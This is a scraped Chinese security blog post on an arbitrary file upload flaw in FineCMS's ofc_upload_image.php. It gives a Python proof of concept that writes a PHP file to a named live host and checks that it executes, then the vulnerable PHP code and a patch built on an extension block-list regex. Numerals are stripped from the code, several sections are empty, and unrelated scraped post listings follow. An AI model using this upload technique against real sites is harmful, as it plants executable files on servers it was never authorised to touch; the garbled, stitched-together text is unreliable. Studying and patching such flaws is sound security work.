catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0105251


2. 漏洞触发条件

0x1: POC

#!/usr/bin/env python
# -*- coding: utf- -*-
#__author__ = '1c3z' import urllib2
import random fileName = "shell" + str(random.randrange(,)) + ".php"
target = "http://v1.finecms.net/dayrui/libraries/Chart/ofc_upload_image.php" def uploadShell():
url = target + "?name=" + fileName
req = urllib2.Request(url, headers={"Content-Type": "application/oct"})
res = urllib2.urlopen(req, data="<?print(md5(0x22))?>")
return res.read() def poc():
res = uploadShell()
if res.find("tmp-upload-images") == -:
print "Failed !"
return print "upload Shell success"
url = "http://v1.finecms.net/dayrui/libraries/tmp-upload-images/" + fileName
md5 = urllib2.urlopen(url).read()
if md5.find("e369853df766fa44e1ed0ff613f563bd") != -:
print "poc: " + url poc()


3. 漏洞影响范围
4. 漏洞代码分析

/dayrui/libraries/Chart/ofc_upload_image.php

$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, , true);
$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your image to: '. $destination; $jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

程序未对上传文件进行任何后缀、内容的检测和过滤


5. 防御方法

/dayrui/libraries/Chart/ofc_upload_image.php

$default_path = '../tmp-upload-images/';
if (!file_exists($default_path))
mkdir($default_path, , true); $destination = $default_path . basename( $_GET[ 'name' ] ); /* */
if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)[^a-zA-Z0-9]+$#i', trim($destination)))
{
die("你指定的文件名被系统禁止!");
}
/* */ echo 'Saving your image to: '. $destination; $jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

FIneCMS /dayrui/libraries/Chart/ofc_upload_image.php Arbitrary File Upload Vul的更多相关文章

  1. [EXP]Adobe ColdFusion 2018 - Arbitrary File Upload

    # Exploit Title: Unrestricted # Google Dork: ext:cfm # Date: -- # Exploit Author: Pete Freitag of Fo ...

  2. Fckeditor PHP/ASP File Upload Vul

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 FCKeditor是目前最优秀的可见即可得网页编辑器之一,它采用JavaScrip ...

  3. struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  4. CVE-2019-0214: Apache Archiva arbitrary file write and delete on the server

    CVE-2019-0214: Apache Archiva arbitrary file write and delete on the server Severity: Medium Vendor: ...

  5. 【转发】Html5 File Upload with Progress

    Html5 File Upload with Progress               Posted by Shiv Kumar on 25th September, 2010Senior Sof ...

  6. jQuery File Upload 单页面多实例的实现

    jQuery File Upload 的 GitHub 地址:https://github.com/blueimp/jQuery-File-Upload 插件描述:jQuery File Upload ...

  7. jQuery File Upload done函数没有返回

    最近在使用jQuery File Upload 上传图片时发现一个问题,发现done函数没有callback,经过一番折腾,找到问题原因,是由于dataType: ‘json’造成的,改为autoUp ...

  8. kindeditor多图片上传找不到action原来是private File upload成员变量惹得祸

    kindeditor多图片上传找不到action原来是private File upload成员变量惹得祸

  9. 用jQuery File Upload做的上传控件demo,支持同页面多个上传按钮

    需求 有这么一个需求,一个form有多个文件要上传,但又不是传统的图片批量上传那种,是类似下图这种需求,一开始是用的swfupload做的上传,但是问题是如果有多个按钮的话,就要写很多重复的代码,于为 ...

随机推荐

  1. MPI+WIN10并行试运行

    系统:2015 win10专业版 x64 MPI安装包:mpich2-1.4.1p1-win-x86-64.man 将后缀改为.msi 以管理员身份安装 安装过程一路默认,注意<behappy为 ...

  2. [bzoj2286][Sdoi2011]消耗战(虚树上的DP)

    题目:http://www.lydsy.com:808/JudgeOnline/problem.php?id=2286 分析:对于普通的树形dp:f[x]=min(∑f[son],m[x]),其中f[ ...

  3. html 文本超过显示省略号

    display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 2;//显示行数 word-break: break-a ...

  4. Sharepoint 杂记

    在Sharepoint中复制Settle.html,粘贴后改名为km.html,修改km.html会自动更新km.master,修改好模板后需要在站点发布. 添加List添加WebPart,继承KmW ...

  5. canvas三角函数应用

    这个是圆圈旋转的简单案例 var canvas=document.getElementById("canvas"); var cxt=canvas.getContext(" ...

  6. [转]oracle数据类型和对应的java类型

    地址: http://otndnld.oracle.co.jp/document/products/oracle10g/102/doc_cd/java.102/B19275-03/datacc.htm ...

  7. 【BZOJ 4104】【Thu Summer Camp 2015】解密运算

    http://www.lydsy.com/JudgeOnline/problem.php?id=4104 网上题解满天飞,我也懒得写了 #include<cstdio> #include& ...

  8. Entity Framework Code First (三)Data Annotations

    Entity Framework Code First 利用一种被称为约定(Conventions)优于配置(Configuration)的编程模式允许你使用自己的 domain classes 来表 ...

  9. 51nod 1101换零钱(背包)

    N元钱换为零钱,有多少不同的换法?币值包括1 2 5分,1 2 5角,1 2 5 10 20 50 100元.   例如:5分钱换为零钱,有以下4种换法: 1.5个1分 2.1个2分3个1分 3.2个 ...

  10. bzoj1503

    treap改了好长时间,erase写错了... #include<iostream> #include<cstdio> #include<cstdlib> usin ...